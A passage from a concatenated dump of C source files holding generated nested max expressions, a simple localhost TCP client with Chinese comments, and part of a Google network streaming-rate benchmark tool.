(17.0 + x_29))))? ((((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) > ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))? ((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) : ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))) > (((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) > ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14))? ((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) : ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14)))? (((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) > ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))? ((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) : ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))) : (((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) > ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14))? ((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) : ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14)))) : ((((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) > ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))? ((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) : ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))) > (((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) > ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))? ((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) : ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29)))? (((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) > ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))? ((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) : ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))) : (((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) > ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))? ((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) : ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))))); x_30_ = (((((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) > (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))? (((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) : (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))) > ((((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) > (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31)))? (((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) : (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))))? ((((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) > (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))? (((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) : (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))) : ((((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) > (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31)))? (((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) : (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))))); x_31_ = (((((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) > (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))? (((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) : (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))) > ((((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) > (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30)))? (((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) : (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))))? ((((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) > (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))? (((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) : (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))) : ((((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) > (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30)))? (((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) : (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))))); x_0 = x_0_; x_1 = x_1_; x_2 = x_2_; x_3 = x_3_; x_4 = x_4_; x_5 = x_5_; x_6 = x_6_; x_7 = x_7_; x_8 = x_8_; x_9 = x_9_; x_10 = x_10_; x_11 = x_11_; x_12 = x_12_; x_13 = x_13_; x_14 = x_14_; x_15 = x_15_; x_16 = x_16_; x_17 = x_17_; x_18 = x_18_; x_19 = x_19_; x_20 = x_20_; x_21 = x_21_; x_22 = x_22_; x_23 = x_23_; x_24 = x_24_; x_25 = x_25_; x_26 = x_26_; x_27 = x_27_; x_28 = x_28_; x_29 = x_29_; x_30 = x_30_; x_31 = x_31_; } return 0; }
the_stack_data/184518620.c	/* Copyright (C) 2018 * Ltd. All rights reserved. * Create date : 2018-08-30 07:24:06 ================================================/ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #define MAXBUFFSIZE 1024 /* 利用socket的TCP client * 此程序会连线TCP server，并将键盘输入的字符串传送给server。 / int main(int argc,char argv[]) { int sockfd,numbytes; char buf[MAXBUFFSIZE]; struct sockaddr_in their_addr; printf("break!"); /* 创立套接字，使用TCP协议 / while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1); printf("创建socket套接字\n"); / 填写sockaddr_in结构/ their_addr.sin_family = AF_INET; their_addr.sin_port = htons(8000); their_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); bzero(&(their_addr.sin_zero), 8); / 客户端进行连接服务器端 / printf("尝试连接到服务器端...\n"); if(connect(sockfd,(struct sockaddr)&their_addr,sizeof(struct sockaddr) ) < 0) { perror("Connect to server failed !"); return 1; } printf("成功连接到服务器端!\n"); /* struct sockaddr_in clientAddr;//客户端地址 int clientAddrLen = sizeof(clientAddr); char ipAddress[INET_ADDRSTRLEN];//保存点分十进制的ip地址 getsockname(sockfd, (struct sockaddr)&clientAddr, &clientAddrLen);//获取sockfd表示的连接上的本地地址 printf("client:client address = %s:%d\n", inet_ntop(AF_INET, &clientAddr.sin_addr, ipAddress, sizeof(ipAddress)), ntohs(clientAddr.sin_port)); / /* 接收由server端传来的信息/ printf("开始接收服务器端传输的数据：\n"); numbytes = recv(sockfd, buf, MAXBUFFSIZE,0); buf[numbytes]='\0'; printf("%s\n",buf); while(1) { / printf("Please enter something:"); scanf("%s",buf); / bzero(buf,sizeof(buf)); / 从标准输入设备取得字符串/ read(STDIN_FILENO,buf,sizeof(buf)); / 发送数据 / numbytes = send(sockfd, buf, strlen(buf), 0); / 接收数据 */ numbytes=recv(sockfd,buf,MAXBUFFSIZE,0); buf[numbytes]='\0'; printf("received:%s\n",buf); if(numbytes == 0) break; } close(sockfd); return 0; }
the_stack_data/31388557.c	/* * Copyright 2014 Google Inc. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. / / * A simple benchmark tool intended for long-term medium-transfer-rate * tests. The idea is we send data at a fixed average rate, then measure * how often, how much, and for how long we depart from the average on the * receiving side. * * This is hopefully a good indicator of what kind of streaming video * quality you'd expect over a given link. / #include <arpa/inet.h> #include <errno.h> #include <memory.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/select.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define MAGIC 0x424c4f50 // magic number for Request packets #define SERVER_PORT 4947 // port number to listen on #define BUFSIZE (10241024) // maximum chunk size to read/write #define MIN_PERIODS_PER_SEC 10 // minimum chunks per sec to write #define DROPOUT_MIN_USEC (1001000) // print any dropout longer than this #define CLOCK_RESET_USEC (501000) // ignore clock jumps more than this #define MAX_CHILDREN 8 // limit to this many connections #define MAX_MBITS 1000 // max speed per connection #define _STR(n) #n #define STR(n) _STR(n) const struct timespec second = { .tv_sec = 1, .tv_nsec = 0, }; struct Request { uint32_t magic; // magic number to reject bogus packets or wrong version int32_t megabits; // requested data trasfer rate, in Mbits/sec }; char buf[BUFSIZE]; int want_to_die; static void sighandler_die(int sig) { want_to_die = 1; } // Returns the kernel monotonic timestamp in microseconds. // This function never returns the value 0; it returns 1 instead, so that // 0 can be used as a magic value. #ifdef __MACH__ // MacOS X doesn't have clock_gettime() #include <mach/mach.h> #include <mach/mach_time.h> static long long monotime(void) { static mach_timebase_info_data_t timebase; if (!timebase.denom) mach_timebase_info(&timebase); long long result = (mach_absolute_time() * timebase.numer / timebase.denom / 1000); return !result ? 1 : result; } #else static long long monotime(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts) < 0) { perror("clock_gettime"); exit(98); // really should never happen, so don't try to recover } long long result = ts.tv_sec * 1000000LL + ts.tv_nsec / 1000; return !result ? 1 : result; } #endif static void usage_and_die(char argv0) { fprintf(stderr, "\n" "Usage: %s <options...> (server mode)\n" " or: %s <options...> <server-ip> (client mode)\n" "\n" "Server specific:\n" " -P <number> limit to this many parallel connections\n" " -C <algo> override TCP congestion control algorithm\n" "Client specific:\n" " -b <Mbits/sec> Mbits per second\n" " -I <interface> set source interface to specified interface\n" " -s <number> consider test sufficient after <number> seconds connected\n" " -t <number> maximum time in seconds to run for\n", argv0, argv0); exit(99); } // Render the given sockaddr as a string. (Uses a static internal buffer // which is overwritten each time.) static const char sockaddr_to_str(struct sockaddr sa) { static char addrbuf[128]; void aptr; int port; switch (sa->sa_family) { case AF_INET: aptr = &((struct sockaddr_in )sa)->sin_addr; port = ntohs(((struct sockaddr_in )sa)->sin_port); break; case AF_INET6: aptr = &((struct sockaddr_in6 )sa)->sin6_addr; port = ntohs(((struct sockaddr_in6 )sa)->sin6_port); break; default: return "unknown"; } addrbuf[0] = '['; if (!inet_ntop(sa->sa_family, aptr, addrbuf + 1, sizeof(addrbuf) - 1)) { perror("inet_ntop"); exit(98); } int addrlen = strlen(addrbuf); snprintf(addrbuf + addrlen, sizeof(addrbuf) - addrlen, "]:%d", port); return addrbuf; } int set_cong_ctl(int sock, const char cong_ctl) { #ifdef TCP_CONGESTION if (setsockopt(sock, IPPROTO_TCP, TCP_CONGESTION, cong_ctl, strlen(cong_ctl)) != 0) { char buf[128]; int e = errno; snprintf(buf, sizeof(buf), "tcp_congestion('%s')", cong_ctl); errno = e; perror(buf); return -1; } else { fprintf(stderr, "tcp_congestion set to '%s'.\n", cong_ctl); } #endif return 0; } static int do_select(int sock, long long usec_timeout) { fd_set rfds; FD_ZERO(&rfds); FD_SET(sock, &rfds); struct timeval tv = { .tv_sec = usec_timeout / 1000000, .tv_usec = usec_timeout % 1000000, }; return select(sock + 1, &rfds, NULL, NULL, usec_timeout >= 0 ? &tv : NULL); } void run_server(int conn, struct sockaddr_in6 remoteaddr, socklen_t remoteaddr_len) { fprintf(stderr, "incoming connection from %s\n", sockaddr_to_str((struct sockaddr )remoteaddr)); struct Request req; ssize_t len = read(conn, &req, sizeof(req)); if (len < 0) { perror("read(req)"); return; } else if (len < (int)sizeof(req)) { fprintf(stderr, "read(req): short read (got %d bytes, expected %d)\n", (int)len, (int)sizeof(req)); return; } else if (ntohl(req.magic) != MAGIC) { fprintf(stderr, "read(req): wrong magic (got %08X, expected %08X)\n", (int)ntohl(req.magic), MAGIC); return; } long megabits_per_sec = ntohl(req.megabits); fprintf(stderr, "client requested %ld megabits/sec\n", megabits_per_sec); if (megabits_per_sec < 0 \|\| megabits_per_sec > MAX_MBITS) { fprintf(stderr, "megabits/sec (%ld) must be > 0 and < %d, aborting.\n", megabits_per_sec, MAX_MBITS); return; } if (shutdown(conn, SHUT_RD)) { perror("shutdown(RD)"); return; } for (int i = 0; i < (int)(sizeof(buf)/sizeof(int)); i++) { ((int )buf)[i] = random(); } // The recipient will be expecting its input to arrive in equal-spaced // intervals. It's cheating to send a giant block and then nothing // for a long time, although the average rate would technically be // the same. So we have both a time-based and byte-based limit // on the amount of data in a single write. long long total = 0; long long bytes_per_period = megabits_per_sec * 1000000LL / 8 / MIN_PERIODS_PER_SEC; if (bytes_per_period > 65536) bytes_per_period = 65536; long long start = monotime(); while (!want_to_die) { // Note on calculations: megabits/sec * microseconds = bits long long now = monotime(); long long goal = (now - start) * megabits_per_sec / 8; long long to_write = goal - total; if (to_write < bytes_per_period) { long long delay_nsec = (bytes_per_period - to_write) * 8 * 1000 / megabits_per_sec; struct timespec tx_delay = { .tv_sec = delay_nsec / 1000000000LL, .tv_nsec = delay_nsec % 1000000000LL, }; if (tx_delay.tv_sec) { fprintf(stderr, "Warning: client sleeping longer than 1 second.\n"); } if (nanosleep(&tx_delay, NULL)) { perror("nanosleep"); break; } continue; } if (to_write > (int)sizeof(buf)) { to_write = sizeof(buf); } ssize_t wrote = write(conn, buf, to_write); if (wrote < 0) { perror("write"); break; } total += wrote; } } int run_client(const char remotename, const char ifr_name, long megabits_per_sec, double sufficient) { int sock = -1, ret = 1, alive = 0; struct addrinfo ai = NULL; struct addrinfo hints = { .ai_flags = AI_ADDRCONFIG \| AI_V4MAPPED, .ai_family = AF_INET6, .ai_socktype = SOCK_STREAM, }; int err = getaddrinfo(remotename, STR(SERVER_PORT), &hints, &ai); double elapsed = 0; if (err != 0 \|\| !ai) { fprintf(stderr, "getaddrinfo(%s): %s\n", remotename, gai_strerror(err)); return 1; } struct { long long disconnect_count; long long disconnect_usecs; long long drop_count; long long drop_maxdepth; long long drop_maxlength; } stats; memset(&stats, 0, sizeof(stats)); long long prestart_time = 0, start_time = 0, stop_time = 0; long long last_wait_time = 0, last_print_time = 0, now = 0; long long drop_start_time = 0, drop_depth = 0; long long total = 0, usec_offset = 0, last_usec_offset = 0; while (!want_to_die) { now = monotime(); if (start_time) { elapsed = (now - start_time) / 1e6; if (sufficient && elapsed > sufficient) { want_to_die = 1; } long long expected_bytes = megabits_per_sec (now - start_time) / 8; long long offset = total - expected_bytes; usec_offset = offset * 8 / megabits_per_sec; // Note: see long-winded explanation ("the subtle part") below // for why we expect the offset to be positive/negative. if (usec_offset < 0 && last_usec_offset >= 0) { // network quality has dropped out. // For this dropout, we want to track both the depth (how many // seconds we fell behind, in total, and thus need to catch up) // as well as the length (how long it took to get back to // normal). Using a combination of the two, we can // calculate how much buffer space would be needed for a // particular reliability level, given that dropouts // may overlap (a new one begins before we recovered from // the last one). // // (For our purposes, drop_depth is always negative and // drop_length is always positive. Making depth negative // is not really that important, but it makes it easy // to tell them apart when you print them.) drop_start_time = now; drop_depth = 0; } else if (usec_offset >= 0 && last_usec_offset < 0) { // dropout is over - we've caught up again long long drop_length = now - drop_start_time; int interesting = drop_length >= DROPOUT_MIN_USEC; if (stats.drop_maxlength < drop_length) { stats.drop_maxlength = drop_length; interesting = 1; } if (stats.drop_maxdepth > drop_depth) { stats.drop_maxdepth = drop_depth; interesting = 1; } if (interesting) { stats.drop_count++; printf("dropout: %.3fs/%.3fs\n", drop_length / 1e6, drop_depth / 1e6); } drop_start_time = 0; } if (usec_offset < drop_depth) { drop_depth = usec_offset; } last_usec_offset = usec_offset; if (now - last_print_time >= 1000000) { printf("%11.3fs %ldMbps offset=%.3fs disconn=%lld/%.3fs " "drops=%lld/%.3fs/%.3fs\n", elapsed, megabits_per_sec, (usec_offset + stats.disconnect_usecs) / 1e6, stats.disconnect_count, (stats.disconnect_usecs + (stop_time ? now - stop_time : 0)) / 1e6, stats.drop_count, stats.drop_maxlength / 1e6, stats.drop_maxdepth / 1e6); fflush(stdout); last_print_time = now; } } if (sock < 0) { sock = socket(PF_INET6, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); goto error; } if (ifr_name) { fprintf(stderr, "binding to interface %s\n", ifr_name); if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifr_name, strlen(ifr_name)) < 0) { perror("setsockopt(SO_BINDTODEVICE)"); return 1; } } fprintf(stderr, "connecting to %s...\n", sockaddr_to_str(ai->ai_addr)); if (connect(sock, ai->ai_addr, ai->ai_addrlen) != 0) { perror("connect"); goto reopen; } now = monotime(); last_print_time = 0; struct Request req = { .magic = htonl(MAGIC), .megabits = htonl(megabits_per_sec), }; if (write(sock, &req, sizeof(req)) != sizeof(req)) { perror("write"); goto reopen; } if (shutdown(sock, SHUT_WR)) { perror("shutdown(WR)"); goto reopen; } alive = 1; } now = monotime(); long long delay = start_time ? 1000000 - ((now - start_time) % 1000000) : 1000000; int nfds = do_select(sock, delay > 0 ? delay : 0); if (nfds < 0 && errno != EINTR) { perror("select"); goto reopen; } now = monotime(); if (!prestart_time) { prestart_time = now; } if (nfds > 0) { ssize_t len = read(sock, buf, sizeof(buf)); /* * This is the subtle part: * * We count the start time as of when we receive the first data, * not just the time we connect. As of that moment, we know that * the other end has definitely sent us a fairly big chunk of data, * so we'll be able to read at least several packets' worth right * away. This means we start off ahead of schedule, with more bytes * than we mathematically expect at time zero. * * From that moment onward, we should be getting exactly the right * number of megabits_per_sec, except for minor network variations, * which is what we want to measure. If it does fall behind, it should * catch up again shortly after, and vice versa. * * Because of the way this works, our average position should always * be slightly > the goal, which means if we ever fall behind the * goal even by a little, we definitely experienced a network * problem. * * This method of measurement should match what actually happens when * streaming live media: when deciding how much you need to buffer * locally before starting playback, you start counting from the moment * you receive the first byte, because that's the first moment you * could ever consider starting to play back. / if (!start_time) { start_time = last_print_time = now; } / * We count TCP disconnects separately from other kinds of network * outages. The "disconnected time" is considered to be from * the moment we stop receiving data, up to the moment we start * receiving data again. / if (stop_time) { stats.disconnect_usecs += now - stop_time; stop_time = 0; } if (len < 0) { perror("read"); goto reopen; } else if (len == 0) { fprintf(stderr, "received EOF\n"); goto reopen; } else { total += len; } } else { last_wait_time = now; if (!start_time && (last_wait_time - prestart_time > 10 1000000LL)) { /* We weren't actually alive after all, so ignore in stats.. / alive = 0; goto reopen; } } continue; reopen: / * TODO(willangley): implement exponential backoff during reopen * this may be required if disconnections are common on real * wireless networks, in order to give the isostream that was last * connected a greater likelihood of reconnecting. / if (alive) { stop_time = now; stats.disconnect_count++; alive = 0; } fprintf(stderr, "retrying connection...\n"); if (nanosleep(&second, NULL)) { perror("nanosleep"); want_to_die = 1; } close(sock); prestart_time = 0; sock = -1; } ret = 0; error: if (ai) freeaddrinfo(ai); return ret; } int main(int argc, char argv) { struct sockaddr_in6 listenaddr, remoteaddr; socklen_t remoteaddr_len; int sock = -1; int megabits_per_sec = 0; double sufficient = 0; int timeout = 0; int max_children = MAX_CHILDREN; const char cong_ctl = NULL; int c; char ifr_name = NULL; while ((c = getopt(argc, argv, "b:I:P:C:s:t:h?")) >= 0) { switch (c) { case 'b': megabits_per_sec = atoi(optarg); if (megabits_per_sec > MAX_MBITS \|\| megabits_per_sec < 1) { fprintf(stderr, "%s: megabits per second must be > 0 and < %d\n", argv[0], MAX_MBITS); return 99; } break; case 'I': ifr_name = optarg; break; case 'P': 